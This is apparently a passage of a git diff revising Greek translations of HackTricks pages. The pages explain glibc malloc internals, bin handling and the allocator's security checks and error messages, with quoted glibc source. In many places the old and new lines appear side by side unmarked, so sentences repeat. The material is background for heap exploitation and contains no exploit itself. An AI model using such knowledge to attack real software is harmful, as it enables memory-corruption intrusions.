* Εάν το κομμάτι έχει διαφορετικό μέγεθος από αυτό που θα έπρεπε λόγω της θέσης του:
* Μήνυμα σφάλματος: `malloc_consolidate(): invalid chunk size`
* Αν το προηγούμενο κομμάτι δεν είναι σε χρήση και το προηγούμενο κομμάτι έχει μέγεθος διαφορετικό από αυτό που υποδεικνύεται από το prev\_chunk:
* Εάν το προηγούμενο κομμάτι δεν είναι σε χρήση και το προηγούμενο κομμάτι έχει διαφορετικό μέγεθος από αυτό που υποδεικνύεται από το prev\_chunk:
* Μήνυμα σφάλματος: `corrupted size vs. prev_size in fastbins`
* **Έλεγχοι κατά τη διάρκεια της αναζήτησης unsorted bin**:
* Αν το μέγεθος του κομματιού είναι παράξενο (πολύ μικρό ή πολύ μεγάλο):&#x20;
* Εάν το μέγεθος του κομματιού είναι παράξενο (πολύ μικρό ή πολύ μεγάλο):&#x20;
* Μήνυμα σφάλματος: `malloc(): invalid size (unsorted)`
* Αν το μέγεθος του επόμενου κομματιού είναι παράξενο (πολύ μικρό ή πολύ μεγάλο):
* Εάν το μέγεθος του επόμενου κομματιού είναι παράξενο (πολύ μικρό ή πολύ μεγάλο):
* Μήνυμα σφάλματος: `malloc(): invalid next size (unsorted)`
* Αν το προηγούμενο μέγεθος που υποδεικνύεται από το επόμενο κομμάτι διαφέρει από το μέγεθος του κομματιού:
* Εάν το προηγούμενο μέγεθος που υποδεικνύεται από το επόμενο κομμάτι διαφέρει από το μέγεθος του κομματιού:
* Μήνυμα σφάλματος: `malloc(): mismatching next->prev_size (unsorted)`
* Αν δεν είναι `victim->bck->fd == victim` ή όχι `victim->fd == av (arena)`:
* Εάν δεν ισχύει `victim->bck->fd == victim` ή δεν ισχύει `victim->fd == av (arena)`:
* Μήνυμα σφάλματος: `malloc(): unsorted double linked list corrupted`
* Καθώς ελέγχουμε πάντα το τελευταίο, το fd του πρέπει να δείχνει πάντα στη δομή της αρένας.
* Αν το επόμενο κομμάτι δεν υποδεικνύει ότι το προηγούμενο είναι σε χρήση:
* Καθώς ελέγχουμε πάντα το τελευταίο, το fd του πρέπει να δείχνει πάντα στη δομή arena.
* Εάν το επόμενο κομμάτι δεν υποδεικνύει ότι το προηγούμενο είναι σε χρήση:
* Μήνυμα σφάλματος: `malloc(): invalid next->prev_inuse (unsorted)`
* Αν `fwd->bk_nextsize->fd_nextsize != fwd`:
* Εάν `fwd->bk_nextsize->fd_nextsize != fwd`:
* Μήνυμα σφάλματος: `malloc(): largebin double linked list corrupted (nextsize)`
* Αν `fwd->bk->fd != fwd`:
* Εάν `fwd->bk->fd != fwd`:
* Μήνυμα σφάλματος: `malloc(): largebin double linked list corrupted (bk)`
* **Έλεγχοι κατά τη διάρκεια της αναζήτησης large bin (με βάση το ευρετήριο):**
* **Έλεγχοι κατά τη διάρκεια της αναζήτησης large bin (με βάση το ευρετήριο)**:
* `bck->fd-> bk != bck`:
* Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks`
* **Έλεγχοι κατά τη διάρκεια της αναζήτησης large bin (επόμενο μεγαλύτερο):**
* **Έλεγχοι κατά τη διάρκεια της αναζήτησης large bin (επόμενο μεγαλύτερο)**:
* `bck->fd-> bk != bck`:
* Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks2`
* **Έλεγχοι κατά τη διάρκεια της χρήσης Top chunk:**
* **Έλεγχοι κατά τη διάρκεια της χρήσης Top chunk**:
* `chunksize(av->top) > av->system_mem`:
* Μήνυμα σφάλματος: `malloc(): corrupted top size`
## `tcache_get_n`
* **Έλεγχοι στο `tcache_get_n`:**
* Αν το κομμάτι δεν είναι συμμετρικό:
* Εάν το κομμάτι δεν είναι συμμετρικό:
* Μήνυμα σφάλματος: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
* **Έλεγχοι στο `tcache_thread_shutdown`:**
* Αν το κομμάτι δεν είναι συμμετρικό:
* Εάν το κομμάτι δεν είναι συμμετρικό:
* Μήνυμα σφάλματος: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
* **Έλεγχοι στο `__libc_realloc`:**
* Αν το παλιό δείκτης δεν είναι συμμετρικός ή το μέγεθος ήταν εσφαλμένο:
* Εάν το παλιό δείκτης δεν είναι συμμετρικός ή το μέγεθος ήταν εσφαλμένο:
* Μήνυμα σφάλματος: `realloc(): invalid pointer`
## `_int_free`
@ -116,25 +117,25 @@
* Μέγεθος μεγαλύτερο από το `MINSIZE` και επίσης συμμετρικό:
* Μήνυμα σφάλματος: `free(): invalid size`
* **Έλεγχοι στο `_int_free` tcache:**
* Αν υπάρχουν περισσότερες καταχωρήσεις από `mp_.tcache_count`:
* Εάν υπάρχουν περισσότερες καταχωρήσεις από το `mp_.tcache_count`:
* Μήνυμα σφάλματος: `free(): too many chunks detected in tcache`
* Αν η καταχώρηση δεν είναι συμμετρική:
* Εάν η καταχώρηση δεν είναι συμμετρική:
* Μήνυμα σφάλματος: `free(): unaligned chunk detected in tcache 2`
* Αν το απελευθερωμένο κομμάτι είχε ήδη απελευθερωθεί και υπάρχει ως κομμάτι στο tcache:
* Εάν το απελευθερωμένο κομμάτι είχε ήδη απελευθερωθεί και υπάρχει ως κομμάτι στο tcache:
* Μήνυμα σφάλματος: `free(): double free detected in tcache 2`
* **Έλεγχοι στο `_int_free` fast bin:**
* Αν το μέγεθος του κομματιού είναι μη έγκυρο (πολύ μεγάλο ή μικρό) ενεργοποίηση:
* Εάν το μέγεθος του κομματιού είναι μη έγκυρο (πολύ μεγάλο ή μικρό) ενεργοποίηση:
* Μήνυμα σφάλματος: `free(): invalid next size (fast)`
* Αν το προστιθέμενο κομμάτι ήταν ήδη στην κορυφή του fast bin:
* Εάν το προστιθέμενο κομμάτι ήταν ήδη στην κορυφή του fast bin:
* Μήνυμα σφάλματος: `double free or corruption (fasttop)`
* Αν το μέγεθος του κομματιού στην κορυφή έχει διαφορετικό μέγεθος από το κομμάτι που προσθέτουμε:
* Εάν το μέγεθος του κομματιού στην κορυφή έχει διαφορετικό μέγεθος από το κομμάτι που προσθέτουμε:
* Μήνυμα σφάλματος: `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`**
* **Έλεγχοι στο `_int_free_merge_chunk`:**
* Αν το κομμάτι είναι το κορυφαίο κομμάτι:
* Μήνυμα σφάλματος: `double free or corruption (top)`
* Αν το επόμενο κομμάτι βρίσκεται εκτός των ορίων της αρένας:
* Αν το επόμενο κομμάτι βρίσκεται έξω από τα όρια της αρένας:
* Μήνυμα σφάλματος: `double free or corruption (out)`
* Αν το κομμάτι δεν είναι σημασιοδοτημένο ως χρησιμοποιημένο (στο prev\_inuse από το επόμενο κομμάτι):
* Μήνυμα σφάλματος: `double free or corruption (!prev)`
@ -152,15 +153,15 @@
## `do_check_malloc_state`
* **Έλεγχοι στο `do_check_malloc_state`:**
* Αν το fast bin κομμάτι δεν είναι σωστά στοιχισμένο:
* Αν το fast bin chunk δεν είναι σωστά ευθυγραμμισμένο:
* Μήνυμα σφάλματος: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
* **Έλεγχοι στο `malloc_consolidate`:**
* Αν το fast bin κομμάτι δεν είναι σωστά στοιχισμένο:
* Αν το fast bin chunk δεν είναι σωστά ευθυγραμμισμένο:
* Μήνυμα σφάλματος: `malloc_consolidate(): unaligned fastbin chunk detected`
* Αν το μέγεθος του fast bin κομματιού δεν είναι σωστό:
* Αν το μέγεθος του fast bin chunk δεν είναι σωστό:
* Μήνυμα σφάλματος: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`

View file

@ -1,29 +1,30 @@
# malloc & sysmalloc
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ κάνοντας υποβολή PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
## Σύνοψη Τάξης Εκχώρησης <a href="#libc_malloc" id="libc_malloc"></a>
## Σύνοψη Τάξης Διάθεσης <a href="#libc_malloc" id="libc_malloc"></a>
(Δεν εξηγούνται ελέγχοι σε αυτήν τη σύνοψη και ορισμένες περιπτώσεις έχουν παραλειφθεί για συντομία)
(Δεν εξηγούνται ελέγχοι σε αυτήν τη σύνοψη και κάποιες περιπτώσεις έχουν παραλειφθεί για συντομία)
1. Η `__libc_malloc` προσπαθεί να αποκτήσει ένα κομμάτι από το tcache, αν όχι καλεί το `_int_malloc`
1. Η `__libc_malloc` προσπαθεί να αποκτήσει ένα κομμάτι από το tcache, αν δεν υπάρχει καλεί το `_int_malloc`
2. `_int_malloc` :&#x20;
1. Προσπαθεί να δημιουργήσει την αρένα αν δεν υπάρχει
2. Αν υπάρχει οποιοδήποτε fast bin chunk της σωστής μεγέθους, το χρησιμοποιεί
2. Αν υπάρχει οποιοδήποτε fast bin chunk του σωστού μεγέθους, το χρησιμοποιεί
1. Γεμίζει το tcache με άλλα fast chunks
3. Αν υπάρχει οποιοδήποτε small bin chunk της σωστής μεγέθους, το χρησιμοποιεί
3. Αν υπάρχει οποιοδήποτε small bin chunk του σωστού μεγέθους, το χρησιμοποιεί
1. Γεμίζει το tcache με άλλα κομμάτια του ίδιου μεγέθους
4. Αν το ζητούμενο μέγεθος δεν είναι για small bins, συγχωνεύει το fast bin στο unsorted bin
5. Ελέγχει το unsorted bin, χρησιμοποιεί το πρώτο κομμάτι με αρκετό χώρο
@ -31,7 +32,7 @@
2. Αν ένα κομμάτι είναι του ίδιου μεγέθους με το ζητούμενο μέγεθος, το χρησιμοποιεί για να γεμίσει το tcache αντί να το επιστρέψει (μέχρι το tcache να γεμίσει, τότε επιστρέφει το επόμενο)
3. Για κάθε κομμάτι μικρότερου μεγέθους που ελέγχεται, το τοποθετεί στο αντίστοιχο small ή large bin
6. Ελέγχει το large bin στο δείκτη του ζητούμενου μεγέθους
1. Ξεκινάει την αναζήτηση από το πρώτο κομμάτι που είναι μεγαλύτερο από το ζητούμενο μέγεθος, αν βρεθεί κάποιο επιστρέφει αυτό και προσθέτει τα υπόλοιπα στο small bin
1. Ξεκινά από το πρώτο κομμάτι που είναι μεγαλύτερο από το ζητούμενο μέγεθος, αν βρεθεί κάποιο επιστρέφει αυτό και προσθέτει τα υπόλοιπα στο small bin
7. Ελέγχει τα large bins από τους επόμενους δείκτες μέχρι το τέλος
1. Από τον επόμενο μεγαλύτερο δείκτη ελέγχει για οποιοδήποτε κομμάτι, διαιρεί το πρώτο βρεθέν κομμάτι για να το χρησιμοποιήσει για το ζητούμενο μέγεθος και προσθέτει το υπόλοιπο στο unsorted bin
8. Αν δεν βρεθεί τίποτα στα προηγούμενα bins, παίρνει ένα κομμάτι από το top chunk
@ -39,7 +40,7 @@
## \_\_libc\_malloc <a href="#libc_malloc" id="libc_malloc"></a>
Η συνάρτηση `malloc` καλεί πραγματικά την `__libc_malloc`. Αυτή η συνάρτηση θα ελέγξει το tcache για να δει αν υπάρχει διαθέσιμο κομμάτι του επιθυμητού μεγέθους. Αν υπάρχει, θα το χρησιμοποιήσει και αν όχι, θα ελέγξει αν είναι μονό νήμα και σε αυτήν την περίπτωση θα καλέσει το `_int_malloc` στην κύρια αρένα, ενώ αν δεν είναι, θα καλέσει το `_int_malloc` στην αρένα του νήματος.
Η συνάρτηση `malloc` καλεί πραγματικά την `__libc_malloc`. Αυτή η συνάρτηση θα ελέγξει το tcache για να δει αν υπάρχει διαθέσιμο κομμάτι του επιθυμητού μεγέθους. Αν υπάρχει, θα το χρησιμοποιήσει και αν όχι, θα ελέγξει αν είναι μονό νήμα και σε αυτήν την περίπτωση θα καλέσει το `_int_malloc` στην κύρια αρένα, και αν όχι, θα καλέσει το `_int_malloc` στην αρένα του νήματος.
<details>
@ -200,16 +201,16 @@ return p;
```
</details>
### Γρήγορος Bin
### Γρήγορος Κάδος
Εάν το απαιτούμενο μέγεθος βρίσκεται μέσα στα μεγέθη των Γρήγορων Bins, προσπαθήστε να χρησιμοποιήσετε ένα κομμάτι από τον γρήγορο bin. Βασικά, με βάση το μέγεθος, θα βρει το δείκτη του γρήγορου bin όπου θα πρέπει να βρίσκονται έγκυρα κομμάτια και, αν υπάρχει κάποιο, θα επιστρέψει ένα από αυτά.\
Επιπλέον, εάν το tcache είναι ενεργοποιημένο, θα **γεμίσει τον tcache bin αυτού του μεγέθους με τους γρήγορους bins**.
Εάν το απαιτούμενο μέγεθος βρίσκεται μέσα στα μεγέθη των Γρήγορων Κάδων, προσπαθήστε να χρησιμοποιήσετε ένα κομμάτι από τον γρήγορο κάδο. Βασικά, με βάση το μέγεθος, θα βρει το δείκτη του γρήγορου κάδου όπου θα πρέπει να βρίσκονται έγκυρα κομμάτια και, αν υπάρχει κάποιο, θα επιστρέψει ένα από αυτά.\
Επιπλέον, εάν ο tcache είναι ενεργοποιημένος, θα **γεμίσει τον tcache κάδο αυτού του μεγέθους με γρήγορους κάδους**.
Κατά την εκτέλεση αυτών των ενεργειών, πραγματοποιούνται ορισμένοι έλεγχοι ασφαλείας εδώ:
Κατά τη διάρκεια αυτών των ενεργειών, πραγματοποιούνται ορισμένοι έλεγχοι ασφαλείας εδώ:
* Εάν το κομμάτι δεν είναι σωστά ευθυγραμμισμένο: `malloc(): unaligned fastbin chunk detected 2`
* Εάν το εμπρός κομμάτι δεν είναι σωστά ευθυγραμμισμένο: `malloc(): unaligned fastbin chunk detected`
* Εάν το επιστρεφόμενο κομμάτι έχει ένα μέγεθος που δεν είναι σωστό λόγω του δείκτη του στον γρήγορο bin: `malloc(): memory corruption (fast)`
* Εάν το επόμενο κομμάτι δεν είναι σωστά ευθυγραμμισμένο: `malloc(): unaligned fastbin chunk detected`
* Εάν το επιστρεφόμενο κομμάτι έχει ένα μέγεθος που δεν είναι σωστό λόγω του δείκτη του στον γρήγορο κάδο: `malloc(): memory corruption (fast)`
* Εάν οποιοδήποτε κομμάτι που χρησιμοποιείται για να γεμίσει τον tcache δεν είναι σωστά ευθυγραμμισμένο: `malloc(): unaligned fastbin chunk detected 3`
<details>
@ -297,19 +298,15 @@ return p;
Όπως υποδεικνύεται σε ένα σχόλιο, οι μικροί bins κρατούν μία μέγεθος ανά δείκτη, επομένως ο έλεγχος εάν υπάρχει διαθέσιμο κομμάτι μνήμης είναι πολύ γρήγορος, έτσι μετά τους fast bins, ελέγχονται οι μικροί bins.
Ο πρώτος έλεγχος είναι να βρεθεί εάν το ζητούμενο μέγεθος μπορεί να βρίσκεται μέσα σε έναν μικρό bin. Σε αυτήν την περίπτωση, πάρτε τον **αντίστοιχο δείκτη** μέσα στον μικρό bin και δείτε αν υπάρχει **κάποιο διαθέσιμο κομμάτι**.
Ο πρώτος έλεγχος είναι να βρεθεί εάν το ζητούμενο μέγεθος μπορεί να βρίσκεται μέσα σε έναν μικρό bin. Σε αυτήν την περίπτωση, πάρτε τον **αντίστοιχο δείκτη** μέσα στον μικρό bin και δείτε αν υπάρχει **διαθέσιμο κομμάτι**.
Στη συνέχεια, πραγματοποιείται ένας έλεγχος ασφαλείας ελέγχοντας:
* εάν `victim->bk->fd = victim`. Για να δούμε ότι τα δύο κομμάτια συνδέονται σωστά.
- εάν `victim->bk->fd = victim`. Για να δούμε ότι τα δύο κομμάτια συνδέονται σωστά.
Σε αυτήν την περίπτωση, το κομμάτι **παίρνει το bit `inuse`,** η διπλά συνδεδεμένη λίστα διορθώνεται έτσι ώστε αυτό το κομμάτι να εξαφανιστεί από αυτήν (καθώς θα χρησιμοποιηθεί), και το bit μη κύριας αρένας ορίζεται αν χρειάζεται.
Σε αυτήν την περίπτωση, το κομμάτι **παίρνει το bit `inuse`,** η διπλά συνδεδεμένη λίστα επισκευάζεται έτσι ώστε αυτό το κομμάτι να εξαφανιστεί από αυτήν (καθώς θα χρησιμοποιηθεί), και το bit μη κύριας αρένας ορίζεται αν χρειάζεται.
Τέλος, **γεμίστε τον δείκτη tcache του ζητούμενου μεγέθους** με άλλα κομμάτια μέσα στον μικρό bin (αν υπάρχουν).
<details>
<summary>_int_malloc μικρός bin</summary>
Τέλος, **γεμίστε τον δείκτη tcache του ζητούμενου μεγέθους** με άλλα κομμάτια μέσα στον μικρό bin (εάν υπάρχουν).
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6
@ -374,7 +371,7 @@ return p;
### malloc\_συγχώνευση
Αν δεν ήταν ένα μικρό κομμάτι, είναι ένα μεγάλο κομμάτι, και σε αυτήν την περίπτωση καλείται το **`malloc_consolidate`** για να αποφευχθεί η διάσπαση μνήμης.
Αν δεν πρόκειται για ένα μικρό κομμάτι, είναι ένα μεγάλο κομμάτι, και σε αυτήν την περίπτωση καλείται το **`malloc_consolidate`** για να αποφευχθεί η διάσπαση μνήμης.
<details>
@ -401,19 +398,19 @@ malloc_consolidate (av);
```
</details>
Η συνάρτηση συγχώνευσης του malloc αφαιρεί βασικά τμήματα από το γρήγορο bin και τα τοποθετεί στο unsorted bin. Μετά το επόμενο malloc αυτά τα τμήματα θα οργανωθούν στα αντίστοιχα μικρά/γρήγορα bins.
Η λειτουργία συγχώνευσης του malloc βασικά αφαιρεί τα κομμάτια από το fast bin και τα τοποθετεί στο unsorted bin. Μετά το επόμενο malloc αυτά τα κομμάτια θα οργανωθούν στα αντίστοιχα small/fast bins.
Σημειώστε ότι κατά την αφαίρεση αυτών των τμημάτων, αν βρεθούν με προηγούμενα ή επόμενα τμήματα που δεν χρησιμοποιούνται, θα αποσυνδεθούν και θα συγχωνευτούν πριν τοποθετηθεί το τελικό τμήμα στο unsorted bin.
Σημειώστε ότι κατά την αφαίρεση αυτών των κομματιών, αν βρεθούν με προηγούμενα ή επόμενα κομμάτια που δεν χρησιμοποιούνται, θα γίνει **αποσύνδεση και συγχώνευση** πριν τοποθετηθεί το τελικό κομμάτι στο **unsorted** bin.
Για κάθε τμήμα fast bin πραγματοποιούνται μερικοί έλεγχοι ασφαλείας:
Για κάθε κομμάτι fast bin πραγματοποιούνται μερικοί έλεγχοι ασφαλείας:
* Αν το τμήμα δεν είναι συντονισμένο ενεργοποίηση: `malloc_consolidate(): unaligned fastbin chunk detected`
* Αν το τμήμα έχει διαφορετικό μέγεθος από αυτό που θα έπρεπε λόγω του δείκτη στον οποίο βρίσκεται: `malloc_consolidate(): invalid chunk size`
* Αν το προηγούμενο τμήμα δεν χρησιμοποιείται και το προηγούμενο τμήμα έχει μέγεθος διαφορετικό από αυτό που υποδηλώνεται από το `prev_chunk`: `corrupted size vs. prev_size in fastbins`
* Αν το κομμάτι δεν είναι συντονισμένο ενεργοποίηση: `malloc_consolidate(): unaligned fastbin chunk detected`
* Αν το κομμάτι έχει διαφορετικό μέγεθος από αυτό που θα έπρεπε λόγω του δείκτη στον οποίο βρίσκεται: `malloc_consolidate(): invalid chunk size`
* Αν το προηγούμενο κομμάτι δεν είναι σε χρήση και το προηγούμενο κομμάτι έχει μέγεθος διαφορετικό από αυτό που υποδεικνύεται από το `prev_chunk`: `corrupted size vs. prev_size in fastbins`
<details>
<summary>Συνάρτηση malloc_consolidate</summary>
<summary>Λειτουργία malloc_consolidate</summary>
```c
// https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2
@ -639,9 +636,9 @@ return p;
#### εάν η διάσταση είναι ίση
Συνεχίστε να αφαιρείτε το κομμάτι από το bin, στην περίπτωση που το ζητούμενο μέγεθος είναι ακριβώς όπως αυτό του κομματιού:
Συνεχίστε να αφαιρείτε το κομμάτι από το bin, σε περίπτωση που το ζητούμενο μέγεθος είναι ακριβώς όπως του κομματιού:
* Εάν το tcache δεν είναι γεμάτο, προσθέστε το στο tcache και συνεχίστε υποδεικνύοντας ότι υπάρχει ένα κομμάτι tcache που θα μπορούσε να χρησιμοποιηθεί
* Εάν το tcache δεν είναι γεμάτο, προσθέστε το στο tcache και συνεχίστε να υποδεικνύετε ότι υπάρχει ένα κομμάτι tcache που θα μπορούσε να χρησιμοποιηθεί
* Εάν το tcache είναι γεμάτο, απλώς χρησιμοποιήστε το επιστρέφοντάς το
<details>
@ -686,16 +683,16 @@ return p;
```
</details>
Αν το κομμάτι δεν επιστρέφεται ή δεν προστίθεται στο tcache, συνεχίστε με τον κώδικα...
Αν το κομμάτι δεν επιστραφεί ή δεν προστεθεί στο tcache, συνεχίστε με τον κώδικα...
#### τοποθέτηση κομματιού σε ένα bin
Αποθηκεύστε το ελεγμένο κομμάτι στο μικρό bin ή στο μεγάλο bin ανάλογα με το μέγεθος του κομματιού (κρατώντας το μεγάλο bin κανονικά οργανωμένο).
Αποθηκεύστε το ελεγμένο κομμάτι στο μικρό bin ή στο μεγάλο bin ανάλογα με το μέγεθος του κομματιού (διατηρώντας το μεγάλο bin σωστά οργανωμένο).
Πραγματοποιούνται ελέγχοι ασφαλείας για να βεβαιωθούμε ότι και τα διπλά συνδεδεμένα λίστες του μεγάλου bin δεν έχουν καταστραφεί:
Πραγματοποιούνται ελέγχοι ασφαλείας για να βεβαιωθούμε ότι και τα δύο διπλά συνδεδεμένα λίστα μεγάλου bin δεν έχουν καταστραφεί:
* Αν `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): μεγάλο bin διπλά συνδεδεμένη λίστα κατεστραμμένη (nextsize)`
* Αν `fwd->bk->fd != fwd`: `malloc(): μεγάλο bin διπλά συνδεδεμένη λίστα κατεστραμμένη (bk)`
* Αν `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
* Αν `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
<details>
@ -775,9 +772,9 @@ bck->fd = victim;
Σε αυτό το σημείο, αν κάποιο τμήμα αποθηκεύτηκε στο tcache που μπορεί να χρησιμοποιηθεί και έχει φτάσει το όριο, απλά **επιστρέψτε ένα tcache τμήμα**.
Επιπλέον, αν φτάσει το **MAX\_ITERS**, διακόψτε τον βρόχο και αποκτήστε ένα τμήμα με διαφορετικό τρόπο (top chunk).
Επιπλέον, αν φτάσει το **MAX\_ITERS**, διακόψτε τον βρόγχο και αποκτήστε ένα τμήμα με διαφορετικό τρόπο (top chunk).
Αν η `return_cached` έχει οριστεί, απλά επιστρέψτε ένα τμήμα από το tcache για να αποφύγετε μεγαλύτερες αναζητήσεις.
Αν η `return_cached` έχει οριστεί, απλά επιστρέψτε ένα τμήμα από το tcache για να αποφύγετε μεγαλύτερες αναζητήσεις.
<details>
@ -814,19 +811,19 @@ return tcache_get (tc_idx);
Αν τα όρια δεν έχουν επιτευχθεί, συνεχίστε με τον κώδικα...
### Μεγάλος Bin (με βάση τον δείκτη)
### Μεγάλο Bin (με βάση τον δείκτη)
Αν το αίτημα είναι μεγάλο (όχι σε μικρό bin) και δεν έχουμε επιστρέψει ακόμα κομμάτι, πάρτε τον **δείκτη** του μεγέθους που ζητήθηκε στον **μεγάλο bin**, ελέγξτε αν **δεν είναι άδειος** ή αν το **μεγαλύτερο κομμάτι σε αυτόν τον bin είναι μεγαλύτερο** από το ζητούμενο μέγεθος και σε αυτήν την περίπτωση βρείτε το **μικρότερο κομμάτι που μπορεί να χρησιμοποιηθεί** για το ζητούμενο μέγεθος.
Αν το αίτημα είναι μεγάλο (όχι σε μικρό bin) και δεν έχουμε επιστρέψει ακόμα κομμάτι, πάρτε τον **δείκτη** του ζητούμενου μεγέθους στο **μεγάλο bin**, ελέγξτε αν **δεν είναι άδειος** ή αν το **μεγαλύτερο κομμάτι σε αυτόν τον bin είναι μεγαλύτερο** από το ζητούμενο μέγεθος και σε αυτήν την περίπτωση βρείτε το **μικρότερο κομμάτι που μπορεί να χρησιμοποιηθεί** για το ζητούμενο μέγεθος.
Αν ο χώρος που απομένει από το τελικά χρησιμοποιημένο κομμάτι μπορεί να είναι ένα νέο κομμάτι, προσθέστε το στο unsorted bin και το lsast\_reminder ενημερώνεται.
Αν ο χώρος που παραμένει από το τελικά χρησιμοποιημένο κομμάτι μπορεί να είναι ένα νέο κομμάτι, προσθέστε το στο unsorted bin και το lsast\_reminder ενημερώνεται.
Γίνεται έλεγχος ασφαλείας όταν προστίθεται το reminder στο unsorted bin:
Γίνεται έλεγχος ασφαλείας κατά την προσθήκη του υπενθυμίου στο unsorted bin:
* `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
<details>
<summary><code>_int_malloc</code> Μεγάλος Bin (με βάση τον δείκτη)</summary>
<summary><code>_int_malloc</code> Μεγάλο Bin (με βάση τον δείκτη)</summary>
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10
@ -899,13 +896,13 @@ return p;
```
</details>
Αν ένα κομμάτι δε βρεθεί κατάλληλο για αυτό, συνεχίστε
Αν δεν βρεθεί ένα κομμάτι που να είναι κατάλληλο για αυτό, συνεχίστε
### Μεγάλο Bin (επόμενο μεγαλύτερο)
Αν στο συγκεκριμένο μεγάλο bin δεν υπήρχε κανένα κομμάτι που θα μπορούσε να χρησιμοποιηθεί, ξεκινήστε έναν βρόχο μέσω όλων των επόμενων μεγάλων bin (ξεκινώντας από τον αμέσως μεγαλύτερο) μέχρι να βρεθεί ένα (αν υπάρχει).
Το υπόλοιπο του χωρισμένου κομματιού προστίθεται στον μη ταξινομημένο bin, ενημερώνεται το last\_reminder και πραγματοποιείται έλεγχος ασφαλείας:
Το υπόλοιπο του κομματιού που χωρίστηκε προστίθεται στον μη ταξινομημένο bin, ενημερώνεται το last\_reminder και πραγματοποιείται έλεγχος ασφαλείας:
* `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
@ -1104,8 +1101,6 @@ return p;
}
```
### sysmalloc
### Έναρξη sysmalloc
Εάν το arena είναι null ή το ζητούμενο μέγεθος είναι πολύ μεγάλο (και υπάρχουν επιτρεπόμενα mmaps), χρησιμοποιήστε το `sysmalloc_mmap` για να εκχωρήσετε χώρο και να τον επιστρέψετε.
@ -1181,9 +1176,9 @@ return 0;
Ξεκινά ανακτώντας πληροφορίες για τον παλιό κορυφαίο κομμάτι και ελέγχοντας ότι κάποιες από τις ακόλουθες συνθήκες είναι αληθείς:
* Το παλιό μέγεθος της στοίβας είναι 0 (νέα στοίβα)
* Το μέγεθος της προηγούμενης στοίβας είναι μεγαλύτερο από το MINSIZE και το παλιό Top είναι σε χρήση
* Η στοίβα είναι ευθυγραμμισμένη στο μέγεθος της σελίδας (0x1000 έτσι ώστε τα χαμηλότερα 12 bits να είναι 0)
* Το παλιό μέγεθος του σωρού είναι 0 (νέος σωρός)
* Το μέγεθος του προηγούμενου σωρού είναι μεγαλύτερο από το MINSIZE και ο παλιός Κορυφή είναι σε χρήση
* Ο σωρός είναι ευθυγραμμισμένος με το μέγεθος της σελίδας (0x1000 έτσι ώστε τα χαμηλότερα 12 bits να είναι 0)
Στη συνέχεια ελέγχει επίσης ότι:
@ -1285,13 +1280,13 @@ return mm;
```
</details>
### Κύρια αρένα sysmalloc
### Κύριος χώρος sysmalloc
Ξεκινά υπολογίζοντας το ποσό της μνήμης που χρειάζεται. Θα ξεκινήσει ζητώντας συνεχόμενη μνήμη, έτσι ώστε σε αυτήν την περίπτωση να είναι δυνατή η χρήση της παλιάς μνήμης που δεν χρησιμοποιείται. Επίσης, πραγματοποιούνται κάποιες λειτουργίες ευθυγράμμισης.
<details>
<summary>Κύρια αρένα sysmalloc</summary>
<summary>Κύριος χώρος sysmalloc</summary>
```c
